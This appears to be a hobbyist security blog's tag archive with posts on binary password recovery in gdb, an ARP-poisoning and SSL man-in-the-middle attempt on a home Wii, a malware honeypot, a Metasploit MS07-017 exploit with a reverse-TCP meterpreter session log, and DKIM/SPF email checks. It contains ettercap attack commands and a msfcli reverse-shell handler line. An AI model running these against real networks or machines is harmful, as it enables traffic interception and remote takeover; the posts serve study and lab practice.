Tag Archive: security


Playing with gdb. Reverse engineer your way.

Playing a very basic level of a known wargame the other day I was trying to solve the following problem:

Given an executable (ELF, Linux) which accepts a password as an argument and verifies if this is correct, find this string. As most of the problems, it’s quite easy if you have the right tools (and knowledge of course).
Anyway, I thought the solution(s) would make a nice blog entry, so here it is!

In order to play around with it in my own Ubuntu, I wrote a very simple C program, named pass_cli.c


carlos@dell:~/Dropbox/hacking/wargames$ cat pass_cli.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int
main(int argc, char **argv)
{
char password[] = “yomama”;

if(argc < 2)
{
printf(“Usage: %s <password>\n”, argv[0]);
exit(1);
}

if(strncmp(argv[1], password, strlen(password)))
{
printf(“FAIL\n”);
exit(1);
} else {

printf(“WIN\n”);
return(0);
}

return(0); // never reached :)

}

I compiled the program with no special options.

carlos@dell:~/Dropbox/hacking/wargames$ file pass_cli
pass_cli: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped

A first tool of the trade when you are looking for strings in a binary is strings, which will look for strings of printable characters inside the binary.

carlos@dell:~/Dropbox/hacking/wargames$ strings pass_cli
/lib/ld-linux.so.2
`:6K*
__gmon_start__
libc.so.6
_IO_stdin_used
exit
strncmp
puts
printf
strlen
__libc_start_main
GLIBC_2.0
PTRh`
yomaf
[^_]
Usage: %s <password>
FAIL

Well, we cannot find the password here (and even if it were displayed here, how could you identify it?) but that gave us some preliminar information about the program. We can see some familiar libc functions (printf, strlen, strncmp, etc.), strncmp will be of interest a bit later.

Another method you could have tried is for example to dump the contents of the .text section inside the binary. This is actually the same idea behind the use of strings, just a lot messier ;)
Remember that the .text section of a binary contains the machine instructions (the compiled code) but that doesn’t mean the strings are neccesarily stored in a readable way. Anyway we could check the contents of this section with the help of objdump.

carlos@dell:~/Dropbox/hacking/wargames$ objdump
Usage: objdump <option(s)> <file(s)>
Display information from object <file(s)>.
At least one of the following switches must be given:
-a, –archive-headers    Display archive header information
-f, –file-headers       Display the contents of the overall file header
-p, –private-headers    Display object format specific file header contents
-h, –[section-]headers  Display the contents of the section headers
-x, –all-headers        Display the contents of all headers
-d, –disassemble        Display assembler contents of executable sections
-D, –disassemble-all    Display assembler contents of all sections
-S, –source             Intermix source code with disassembly
-s, –full-contents      Display the full contents of all sections requested
-g, –debugging          Display debug information in object file
-e, –debugging-tags     Display debug information using ctags style
-G, –stabs              Display (in raw form) any STABS info in the file
-W[lLiaprmfFsoR] or
–dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=str,=loc,=Ranges]
Display DWARF info in the file
-t, –syms               Display the contents of the symbol table(s)
-T, –dynamic-syms       Display the contents of the dynamic symbol table
-r, –reloc              Display the relocation entries in the file
-R, –dynamic-reloc      Display the dynamic relocation entries in the file
@<file>                  Read options from <file>
-v, –version            Display this program’s version number
-i, –info               List object formats and architectures supported
-H, –help               Display this information

carlos@dell:~/Dropbox/hacking/wargames$ objdump -h pass_cli

pass_cli:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
0 .interp       00000013  08048134  08048134  00000134  2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020  08048148  08048148  00000148  2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA

[...]

11 .init         00000030  0804834c  0804834c  0000034c  2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt          00000080  0804837c  0804837c  0000037c  2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text         000001fc  08048400  08048400  00000400  2**4   <—- here
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini         0000001c  080485fc  080485fc  000005fc  2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE

[...]

This section starts at the address 0×08048400, that is, the offset is 0×400 (the start virtual address is 0×08048000)

Armed with this knowledge we could hexdump this section and manually inspect it

carlos@dell:~/Dropbox/hacking/wargames$ hexdump -C -s 0×400 pass_cli | less

00000400  31 ed 5e 89 e1 83 e4 f0  50 54 52 68 60 85 04 08  |1.^…..PTRh`…|
00000410  68 70 85 04 08 51 56 68  b4 84 04 08 e8 7b ff ff  |hp…QVh…..{..|
[...]
000004a0  00 00 00 00 85 c0 74 09  c7 04 24 1c 9f 04 08 ff  |……t…$…..|
000004b0  d0 c9 c3 90 55 89 e5 83  e4 f0 83 ec 20 c7 44 24  |….U……. .D$|
000004c0  19 79 6f 6d 61 66 c7 44  24 1d 6d 61 c6 44 24 1f  |.yomaf.D$.ma.D$.| <—   :(
000004d0  00 83 7d 08 01 7f 22 8b  45 0c 8b 10 b8 20 86 04  |..}…”.E…. ..|
000004e0  08 89 54 24 04 89 04 24  e8 cf fe ff ff c7 04 24  |..T$…$…….$|
[...]
00000600  83 ec 04 e8 00 00 00 00  5b 81 c3 ec 19 00 00 e8  |……..[.......|
00000610  1c fe ff ff 59 5b c9 c3  03 00 00 00 01 00 02 00  |....Y[..........|
00000620  55 73 61 67 65 3a 20 25  73 20 3c 70 61 73 73 77  |Usage: %s <passw|
00000630  6f 72 64 3e 0a 00 46 41  49 4c 00 57 49 4e 00 00  |ord>..FAIL.WIN..|
00000640  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

As we can see, the string isn't stored in a readable format, as expected :(
A very useful tool in this case is "ltrace" for we can monitor every system call (with the corresponding arguments!)

carlos@dell:~/Dropbox/hacking/wargames$ ltrace ./pass_cli AAAAA
__libc_start_main(0x80484b4, 2, 0xbf952854, 0x8048570, 0x8048560 <unfinished ...>
strlen("yomama")                                                   = 6
strncmp("AAAAA", "yomama", 6)                                      = -1      <--- TA-DA!!!! :)
puts("FAIL"FAIL
)                                                       = 5
exit(1 <unfinished ...>
+++ exited (status 1) +++

But what if our system doesn't have this tool? Then we have to take the heavy weapons and perform some elegant debugging :)

carlos@dell:~/Dropbox/hacking/wargames$ objdump -T pass_cli

pass_cli:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*  00000000              __gmon_start__
00000000      DF *UND*  00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*  00000000  GLIBC_2.0   strlen
00000000      DF *UND*  00000000  GLIBC_2.0   printf
00000000      DF *UND*  00000000  GLIBC_2.0   puts
00000000      DF *UND*  00000000  GLIBC_2.0   strncmp     <---- idea!
00000000      DF *UND*  00000000  GLIBC_2.0   exit
0804861c g    DO .rodata        00000004  Base        _IO_stdin_used

We have very good reasons to suspect that strncmp is being used to check our input against the password so let's start the program in gdb and quickly disassemble it in order to localize the call to strncmp.

carlos@dell:~/Dropbox/hacking/wargames$ gdb -q ./pass_cli
Reading symbols from /home/carlos/Dropbox/hacking/wargames/pass_cli...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel <---- PLEASE ;)
(gdb) disass main
Dump of assembler code for function main:
0x080484b4 <+0>: push ebp
0x080484b5 <+1>: mov ebp,esp
0x080484b7 <+3>: and esp,0xfffffff0
0x080484ba <+6>: sub esp,0x20
0x080484bd <+9>: mov DWORD PTR [esp+0x19],0x616d6f79
0x080484c5 <+17>: mov WORD PTR [esp+0x1d],0x616d
0x080484cc <+24>: mov BYTE PTR [esp+0x1f],0×0
0x080484d1 <+29>: cmp DWORD PTR [ebp+0x8],0×1
0x080484d5 <+33>: jg 0x80484f9
0x080484d7 <+35>: mov eax,DWORD PTR [ebp+0xc]
0x080484da <+38>: mov edx,DWORD PTR [eax]
0x080484dc <+40>: mov eax,0×8048620
0x080484e1 <+45>: mov DWORD PTR [esp+0x4],edx
0x080484e5 <+49>: mov DWORD PTR [esp],eax
0x080484e8 <+52>: call 0x80483bc
0x080484ed <+57>: mov DWORD PTR [esp],0×1
0x080484f4 <+64>: call 0x80483ec
0x080484f9 <+69>: lea eax,[esp+0x19]
0x080484fd <+73>: mov DWORD PTR [esp],eax
0×08048500 <+76>: call 0x80483ac
0×08048505 <+81>: mov edx,eax
0×08048507 <+83>: mov eax,DWORD PTR [ebp+0xc]
0x0804850a <+86>: add eax,0×4
0x0804850d <+89>: mov eax,DWORD PTR [eax]
0x0804850f <+91>: mov DWORD PTR [esp+0x8],edx
0×08048513 <+95>: lea edx,[esp+0x19]
0×08048517 <+99>: mov DWORD PTR [esp+0x4],edx
0x0804851b <+103>: mov DWORD PTR [esp],eax
0x0804851e <+106>: call 0x80483dc
0×08048523 <+111>: test eax,eax
0×08048525 <+113>: je 0x804853f
0×08048527 <+115>: mov DWORD PTR [esp],0×8048636
[...]

Now I will place a breakpoint exactly on the address of this call instruction.

(gdb) b *0x0804851e
Breakpoint 1 at 0x804851e

Remember to use the asterisk (*) right in front of the address, so gdb understands what follows isn’t a literal.

Why did I do it this way? Think about it the other way. What happens when the call instruction is executed? The whole stack frame stup parafernalia, namely

  • EIP is pushed to the stack (by the call itself)
  • The function prologue is executed, that is
  • the current value of EBP is pushed to the stack (from now on, known as SFP)
  • the current value of ESP passes to be the new EBP (“a new stack frame starts here”)
  • a value is subtracted from ESP (to allocate space for local variables)

That is too messy to keep track of, so if we stop the execution flow right before the call instruction, what we have is the stack right before all this stuff… the function arguments at the top of the stack ;)

(gdb) run AAAAAA
Starting program: /home/carlos/Dropbox/hacking/wargames/pass_cli AAAAAA

Breakpoint 1, 0x0804851e in main () <--- breakpoint is hit
(gdb) info reg
eax 0xbffff620 -1073744352
ecx 0x6 6
edx 0xbffff3c9 -1073744951
ebx 0x283ff4 2637812
esp 0xbffff3b0 0xbffff3b0 <--- "top" of the stack
ebp 0xbffff3d8 0xbffff3d8
esi 0x0 0
edi 0x0 0
eip 0x804851e 0x804851e
eflags 0×286 [ PF SF IF ]
cs 0×73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0×0 0
gs 0×33 51

Let’s examine the top of the stack. We are actually interested in the first three words.

(gdb) x/12x $esp
0xbffff3b0: 0xbffff620 0xbffff3c9 0×00000006 0xbffff3d8
0xbffff3c0: 0x0015d4a5 0x0011e0c0 0x6d6f797b 0x00616d61
0xbffff3d0: 0×08048570 0×00000000 0xbffff458 0x00144bd6

Without further inspection we can see a 6, the number of char the function has to compare. It looks good at least ;) Let’s remember the exact syntaxis of strncmp()

carlos@dell:~/Dropbox/hacking/wargames$ man 3 strncmp

[...]

SYNOPSIS
#include

int strcmp(const char *s1, const char *s2);

int strncmp(const char *s1, const char *s2, size_t n); <--- allright, three arguments...

[...]

Also one of the first two words must be a pointer to the hardcoded password, the other a pointer to the user input (argv[1] in this case)

(gdb) x/4x 0xbffff620
0xbffff620: 0×41414141 0x4f004141 0×54494252 0x434f535f

Well, this is pretty clearly our string of 6 “A’s” null-terminated. The other address must be the location of our password!

(gdb) x/4x 0xbffff3c9
0xbffff3c9: 0x616d6f79 0×7000616d 0×00080485 0×58000000

OK, another string of 6 characters, null-terminated. The ASCII char associated to these values can be displayed in gdb as follows:

(gdb) p/c *0xbffff3c9
$16 = 121 ‘y
(gdb) p/c *0xbffff3ca
$17 = 111 ‘o
(gdb) p/c *0xbffff3cb
$18 = 109 ‘m
(gdb) p/c *0xbffff3cc
$19 = 97 ‘a
(gdb) p/c *0xbffff3cd
$20 = 109 ‘m
(gdb) p/c *0xbffff3ce
$21 = 97 ‘a
(gdb) p/c *0xbffff3cf
$22 = 0 ‘\000

So here’s the magic password! YOMAMA! ;)

My Wii is more intelligent than me

Today I was thinking about playing with my Wii in a different way but finally it was me who was played :)

I wanted to intercept the connection my Wii establishes with the Nintendo server and modify the news stream so I could modify the headlines and show off in front of my girlfriend. Things you do a rainy Sunday afternoon…

First step: ARP poison both the Wii and the router to sniff the traffic.

root@bt:~# ettercap -T -q -i eth0 -M arp /192.168.1.1/ /192.168.1.254/

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0… (Ethernet)

eth0 ->       2A:04:73:94:A6:0A      192.168.1.10     255.255.255.0

Privileges dropped to UID 65534 GID 65534…

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)…

* |==================================================>| 100.00 %

2 hosts added to the hosts list…

ARP poisoning victims:

GROUP 1 : 192.168.1.254 E8:4E:CE:10:6D:E6

GROUP 2 : 192.168.1.1 00:23:69:2F:C1:61
Starting Unified sniffing…

[...]

root@bt:~# tcpdump -i eth0 -nvX -s 0 -w wii.dmp host 192.168.1.254
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

[...]

Unfortunately all we get is a lot of HTTPS traffic (TLS v1 encrypted). Well I didn’t think that the Wii was going to send everything unecncrypted, did I? …

Next thought was to modify the attack in order to sniff the contents of the TLS session. Ettercap itself is able to perform this kind of SSL-man-in-the-middle attack.

From the ettercap man page:

SSL MITM ATTACK
       While performing the SSL mitm attack, ettercap substitutes the real ssl
       certificate with its own. The fake certificate is created  on  the  fly
       and  all  the fields are filled according to the real cert presented by
       the server. Only the issuer is modified and signed with the private key
       contained  in  the 'etter.sll.crt' file. If you want to use a different
       private key you have to regenerate this file.

This way, the attacking machine starts two SSL connections:

1. One with the server. This is a normal SSL connection, where we act as a client and use the public key presented in the server’s certificate to encrypt the data.

2. One with the client, where we impersonate the server using a fake (almost identical) certificate.

root@bt:~# ettercap -Tq -M arp:remote,oneway /192.168.1.254/ /192.168.1.1/

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0… (Ethernet)

eth0 -> 2A:04:73:94:A6:0A 192.168.1.10 255.255.255.0

Privileges dropped to UID 65534 GID 65534…

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)…

* |==================================================>| 100.00 %

2 hosts added to the hosts list…

ARP poisoning victims:

GROUP 1 : 192.168.1.254 E8:4E:CE:10:6D:E6

GROUP 2 : 192.168.1.1 00:23:69:2F:C1:61
Starting Unified sniffing…

This trick usually works with humans because… well, because certificates and all this technology is a fucked up system and we are so used to invalid certificates and to click “Ok”.

But my Wii is more intelligent than me and must somehow check the fingerprint of the public key in the certificate. Everything I got was a error message on my TV explaining that the connection had failed :(

The traffic capture was of course way more verbose, you can see in the capture below how I present the fake certificate and my Wii answers with a Certificate Unknown error message (click to enlarge)

Bottom line, I couldn’t play but I’m happy the security of my Wii is taken seriously.

Thumbs up Nintendo!

Let the botnets come to me…

A week ago I decided to install a honeypot at home in order to get some malware samples running in the wild.
I used nepenthes as recommended by the shadowserver foundation and I found it’s extremely straightforward to install and has a very small footprint. Check this uptime and load info:

root@bt:/mnt/sdcard/nepenthes/binaries# uptime
13:30:04 up 7 days, 14:15, 1 user, load average: 0.08, 0.02, 0.01

I hadn’t time yet to properly configure it but the default install captures the binaries send to the different ports (imitating a service) by the worms and store them for later analysis. After a week I have captured 66 different samples already. Not bad…

root@bt:/mnt/sdcard/nepenthes/binaries# ls -l | grep -v total | wc -l
66

A remarkable feature is the automatic send of the binaries to an online sandbox, where they will be executed and analyzed.

I will be giving a talk in November at Backtrack Day 2010 (Germany) about reverse engineering Malware. Now I just need to check my binaries directory and find a good sample for it!

I have been recently watching, dissecting actually, these videos from the Polytechnic Institute of the University of NY (cool name, eh?). These are part of the Master’s program in Cybersecurity and the people giving the talks are top of the top. Definitely worth it to check them out! (Would they count as continuing education? ;) )

As an example, an introduction to reverse engineering by Aaron Portnoy of TippingPoint.

Prepare yourself to use the pause button a lot!

Reverse Engineering 101 from Dan Guido on Vimeo.

More info on pentest.cryptocity.net

I’ve been playing with the Metasploit framework and the *evil* meterpreter payload today (I would tell you why but I’m sure it would break a non-disclosure agreement or something :) )

In particular I was studying client-side attacks and recreating the infamous MS07-17 (a classic!). While I was enjoying myself among hex code and debuggers, the way nerds do, I realized that the browser always hanged, thus forcing the user to kill the process and cutting down our meterpreter session. Not good. “Got root?” yes, but just for twenty seconds.

Looking for ways to improve the stability of the exploit, a colleague proposed a workaround, migrate the [meterpreter] server to another process. I totally forgot about the migrate command. This is how it can be done and the issues left unsolved.

I have just implemented the MS07-17 ANI vulnerability with the meterpreter reverse tcp payload, like this

I have “tricked” the user to visit my website and he inadvertently downloaded the evil cursor code that exploits the vuln in the GDI code. Oopppss! As a result, he has connected back to the machine, received the dll (it’s a staged payload) and  injected it into the running process, iexplore.exe in this case.

We can indeed confirm that looking at the dll’s with Process Explorer, as in the follow capture:

After the migration of the meterpreter server to another process, less likely to be killed (for example explorer.exe), IE will crash but the process won’t die completely. Trying to attach a debugger to it will show us that the process window name is “MCI command handling window”. Although Process Explorer still shows the evil dll located at some point in the memory of this process, this address is not reachable using the debugger.

However, just to do things well it would be a good idea to kill the process (or what remains of it).

The whole process would be something like the following paste:

root@bt:/pentest/exploits/framework3# ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.8.31 EXITFUNC=seh E
[*] Please wait while we load the module tree...
[*] Started reverse handler on port 4444
[*] Starting the payload handler...
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (192.168.8.31:4444 -> 192.168.9.34:1088)

meterpreter > ps

Process list
============

PID   Name                 Arch  User                 Path
---   ----                 ----  ----                 ----
0     [System Process]
4     System               x86
580   smss.exe             x86   NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
652   csrss.exe            x86   NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
712   winlogon.exe         x86   NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
756   services.exe         x86   NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe

[...]
1860  ctfmon.exe           x86   CLIENT034\offsec     C:\WINDOWS\system32\ctfmon.exe

 2004  svchost.exe          x86                        C:\WINDOWS\System32\svchost.exe

 1880  explorer.exe         x86   CLIENT034\offsec     C:\WINDOWS\explorer.exe

 1920  iexplore.exe         x86   CLIENT034\offsec     C:\Program Files\Internet Explorer\iexplore.exe

meterpreter > migrate 1880

[*] Migrating to 1880...

[*] Migration completed successfully.

meterpreter > kill 1920

Killing: 1920

meterpreter > getpid

Current pid: 1880

meterpreter >

As easy as “deceive, exploit, migrate and kill” :)

SLCM: Some Linux CLI Magic

I’m right now taking the PWB course (yes, from the creators of Backtrack!) and I must say it is really well structured. Even at the beginning, where very basic concepts/techniques are introduced, it forces you to review interesting stuff. And this is one of the strong points of the course: it’s mostly practical.

While in the process of enumerating usernames from an insecure mail server I had to write a short Python script and feed it with a wordlist of common usernames. The list I had was written in uppercase but what I wanted was lowercase. After some research about the sed command I found a neat way to do this using the command line:

carlos@dell:~$ sed -i ‘y/’ABCDEFGHIJKLMNOPQRSTUVWXYZ’/'abcdefghijklmnopqrstuvwxyz’/’ 200_usernames.txt

where -i means “in place”, that is, search for the pattern, perform the substitution and write on the same file (use with caution!). If you want to test before destroying the original file, -e can be used instead, which writes to the standard output.

This way, besides the pure offensive security stuff you learn, one is forced to research and learn some basic programming and command line tricks as well. Bonus! ;)

Another well extended measure to add security to the SMTP protocol (when will we stop applying patches and move on to a new protocol?) is known as DKIM.

This stands for DomainKeys Identified Mail and as you can imagine, it’s based on some PKI concepts.

The general idea is fairly simple, the server signs every mail before sending it and publishes its public key through (drums…) a DNS record! You certainly didn’t expect this one, did you?

Let’s see an example. I’ll send me an email from Facebook which is one of the big DKIM adopters. Checking the SMTP headers we find the following:

DKIM-Signature: v=1; a=rsa-sha1; d=facebookmail.com; s=q1-2009b; c=relaxed/relaxed;
q=dns/txt; i=@facebookmail.com; t=1244588132;
h=From:Subject:Date:To:MIME-Version:Content-Type;
bh=JfuLVdMFj4tE3DQJ7E3AUmszqaY=;
b=d46czRF6YMvrFofJsHpQyBOnHqKbkfO7rnjtvr5POMTEq1mLtc04NQHxeJANwQpo
aBcfAqB5vedMP9zsL6MqPQ==;

I don’t know you, but that thing at the end looks like a bunch of Base64 encoded to me. Some of the important fields here are

  • v=1, no words needed.
  • a=rsa-sha1, stands for the algorithms used.
  • d=facebookmail.com, the domain.
  • s=q1-2009b, the selector, used to determine what DNS record to query.
  • c=relaxed/relaxed, means that the system will be tolerant to modifications made to the email in transit.
  • b=(chunk of Base64 encoding), the signature itself.

Let’s query the DNS for the public key. We know that the DNS record that hold this is of the form selector._domainkey.domain, in this particular case

carlos@pattern:~$ dig @dns05.sf2p.tfbnw.net q1-2009b._domainkey.facebookmail.com
txt

; <<>> DiG 9.5.0-P2 <<>> @dns05.sf2p.tfbnw.net q1-2009b._domainkey.facebookmail.
com txt
; (1 server found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48012
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;q1-2009b._domainkey.facebookmail.com. IN TXT

;; ANSWER SECTION:
q1-2009b._domainkey.facebookmail.com. 3600 IN TXT “k=rsa\; t=s\; p=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKrBYvYESXSgiYz

KNufh9WG8cktn2yrmdqGs9uz8VL6Mz44GuX8xJAQjpmPOb
e6p2vfTMWeztKEudwY6ei7UcZMCAwEAAQ==

;; AUTHORITY SECTION:
facebookmail.com.       172800  IN      NS      dns04.sf2p.tfbnw.net.
facebookmail.com.       172800  IN      NS      dns05.sf2p.tfbnw.net.

[follows not relevant info.]

Before doing anything I would like to get more info about this RSA key, so I’ll write a PEM container and name it pub.key

A detail worth to mention, that will save you a lot of time is that the specification states that every line should have exactly 64 chars, except the last one, which could be shorter.

—–BEGIN PUBLIC KEY—–
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKrBYvYESXSgiYzKNufh9WG8cktn2yrm
dqGs9uz8VL6Mz44GuX8xJAQjpmPObe6p2vfTMWeztKEudwY6ei7UcZMCAwEAAQ==
—–END PUBLIC KEY—–

With the help of Openssl we could check the validity of this key, as follows

carlos@pattern:~$ openssl rsa -pubin -in pub.key -text
Modulus (512 bit):
00:aa:c1:62:f6:04:49:74:a0:89:8c:ca:36:e7:e1:
f5:61:bc:72:4b:67:db:2a:e6:76:a1:ac:f6:ec:fc:
54:be:8c:cf:8e:06:b9:7f:31:24:04:23:a6:63:ce:
6d:ee:a9:da:f7:d3:31:67:b3:b4:a1:2e:77:06:3a:
7a:2e:d4:71:93
Exponent: 65537 (0×10001)
writing RSA key
—–BEGIN PUBLIC KEY—–
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKrBYvYESXSgiYzKNufh9WG8cktn2yrm
dqGs9uz8VL6Mz44GuX8xJAQjpmPObe6p2vfTMWeztKEudwY6ei7UcZMCAwEAAQ==
—–END PUBLIC KEY—–

So we are, in fact, dealing with a 512 bit RSA key.

What I would like to do now is decrypt the b field with the public key and compare the hashes in order to verify that I didn’t miss anything.

However there is still a little problem though. We don’t know exactly which part of the email has been included in the SHA-1 hash.

Wait a minute, who said panic? The answer resides of course in the DKIM-Signature header, specifically in the h parameter, which indicates which headers have been included in the hash process.

I tried to decrypt the signature using OpenSSL but I found it too unflexible, so I’ll do it manually. I still need to code some RSA decryption program (using OpenSSL libraries) to get the original hash and compare it to the SHA1 hash of the original message body and selected headers.

This will take me some time, so until then enjoy the reading ;)

Mail protection measures: SPF

Let’s face it. SMTP has been a mess for security since the beginning. But what is the state of the current efforts to secure this “not built with security in mind” service?

SPF (Sender Policy Framework)

As the name suggests, this method is thought to attack the problematic of sender address forgery.

The solution is based on DNS (great, another service designed without security in mind) and basicly consists on the organization establishing a policy that states which servers are able to forward email for this domain. This is performed through TXT records in the authoritative servers of the forementioned organization.

This way, when a server receives an email with a sender address belonging to this organization (in the MAIL FROM field), checks first if the IP address used in the HELO command is allowed to forward email for the domain. To do this check, it queries the following record from the domain’s DNS server:

carlos@pattern:~$ dig @208.67.222.222 nscglobal.com ns

; <<>> DiG 9.5.0-P2 <<>> @208.67.222.222 nscglobal.com ns
; (1 server found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26587
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;nscglobal.com.                 IN      NS

;; ANSWER SECTION:
nscglobal.com.          85371   IN      NS      a.ns.joker.com.
nscglobal.com.          85371   IN      NS      b.ns.joker.com.
nscglobal.com.          85371   IN      NS      c.ns.joker.com.

;; Query time: 49 msec
;; SERVER: 208.67.222.222#53(208.67.222.222)
;; WHEN: Mon Jul  6 21:36:06 2009
;; MSG SIZE  rcvd: 88

Now that we know the nameservers for this domain, let’s query them for the TXT records, one of them being the SPF record:

carlos@pattern:~$ dig @a.ns.joker.com nscglobal.com txt

; <<>> DiG 9.5.0-P2 <<>> @a.ns.joker.com nscglobal.com txt
; (1 server found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58587
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 3
;; WARNING: recursion requested but not available
carlos@pattern:~$ dig @a.ns.joker.com nscglobal.com txt

; <<>> DiG 9.5.0-P2 <<>> @a.ns.joker.com nscglobal.com txt
; (1 server found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43969
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;nscglobal.com.                 IN      TXT

;; ANSWER SECTION:
nscglobal.com.          86400   IN      TXT     “v=spf1 mx ip4:217.77.187.125 ip
4:195.217.168.151 ?all”

;; AUTHORITY SECTION:
nscglobal.com.          86400   IN      NS      a.ns.joker.com.
nscglobal.com.          86400   IN      NS      b.ns.joker.com.
nscglobal.com.          86400   IN      NS      c.ns.joker.com.

;; ADDITIONAL SECTION:
a.ns.joker.com.         7200    IN      A       207.44.185.10

[truncated for simplicity]

Let’s analyze the info contained in this text record,

nscglobal.com.          86400   IN      TXT     “v=spf1 mx ip4:217.77.187.125 ip4:195.217.168.151 ?all”

The SPF version used is 1 (v=spf1)

The MX records for this domain are allowed to forward email in behalf of it, obvious (mx).

Those two individual IP addresses (if not mask is specified /32 is used) are allowed as well.

And now the mystery record: ?all, this is different in the sense that it has attached a symbol at the beginning, in this case “?”.

Well, the truth is that all of them have one appended but the default is “+” and is not shown. The SPF record is, besides the version information, a list of so called mechanisms with modifiers attached. It’s similar actually to an ACL and is read sequentially as well.

Some of the most common mechanisms are all, ip4, ip6, a, mx, etc.

It’s clear that ip4, ip6 match ranges of IP addresses, while a, mx matches an A and MX record for this domain respectively. The meaning of all shouldn’t be a surprise either and why it appears always at the end… yes, it’s the default rule in an ACL and for this reason is one of the most important parts of a SPF record.

What about the modifiers? There are four of them:

“+” : Pass

“-” : Fail

“~” : SoftFail

“?” : Neutral

The action associated with each modifier is the following:

Result Explanation Intended action
Pass The SPF record designates the host to be allowed to send accept
Fail The SPF record has designated the host as NOT being allowed to send reject
SoftFail The SPF record has designated the host as NOT being allowed to send but is in transition accept but mark
Neutral The SPF record specifies explicitly that nothing can be said about validity accept
None The domain does not have an SPF record or the SPF record does not evaluate to a result accept

Notice that, in contrast with an ACL, unless specified, the default behaviour if a match is not found is to accept the email.

Finally we can read and interpret the SPF record for our company, with sad results…

Allow my MX’s, those two hosts and with the rest of the emails coming from IP addresses not belonging to the company, claiming to be from our company… We can’t say anything about the validity, so let them through! This is basicaly equivalent to not implementing a policy.

Most of the companies have a default rule like “-all” instead of “?all”, effectively dropping the spoofed emails.

As an example, the berliner-sparkasse.de SPF record:

carlos@pattern:~$ dig @ns.bankgesellschaft.de berliner-sparkasse.de txt

; <<>> DiG 9.5.0-P2 <<>> @ns.bankgesellschaft.de berliner-sparkasse.de txt
; (1 server found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7877
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 4, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;berliner-sparkasse.de.         IN      TXT

;; ANSWER SECTION:
berliner-sparkasse.de.  100     IN      TXT     “v=spf1 ip4:212.121.135.74 ip4:193.31.187.5 ip4:193.31.187.9 ip4:194.37.255.0/24 ip4:91.198.224.0/24 ip4:62.181.134.163 ip4:62.181.134.164 ip4:62.181.134.165 ip4:62.181.134.166 ip4:212.222.91.0/24 ip4:62.50.32.0/19 -all”

;; AUTHORITY SECTION:
berliner-sparkasse.de.  28800   IN      NS      sec2.dns.psinet.de.
berliner-sparkasse.de.  28800   IN      NS      sec1.dns.psinet.de.
berliner-sparkasse.de.  28800   IN      NS      sec3.dns.psinet.de.
berliner-sparkasse.de.  28800   IN      NS      ns.bankgesellschaft.de.

As you can see, the Berliner Sparkasse defines pretty clearly which networks are allowed to relay email for this domain and denies explicitly all the other incoming email.

Now what about the efficiency of this method? Well, its basis are the DNS entries so it has all the vulnerabilities inherent to this protocol. For a regular spammer it wouldn’t be practical to fake the DNS answers but for a very decided individual it could be easy to fake an email and the credibility would be respalded for the SPF mechanism itself.

Powered by WordPress | Theme: Motion by 85ideas.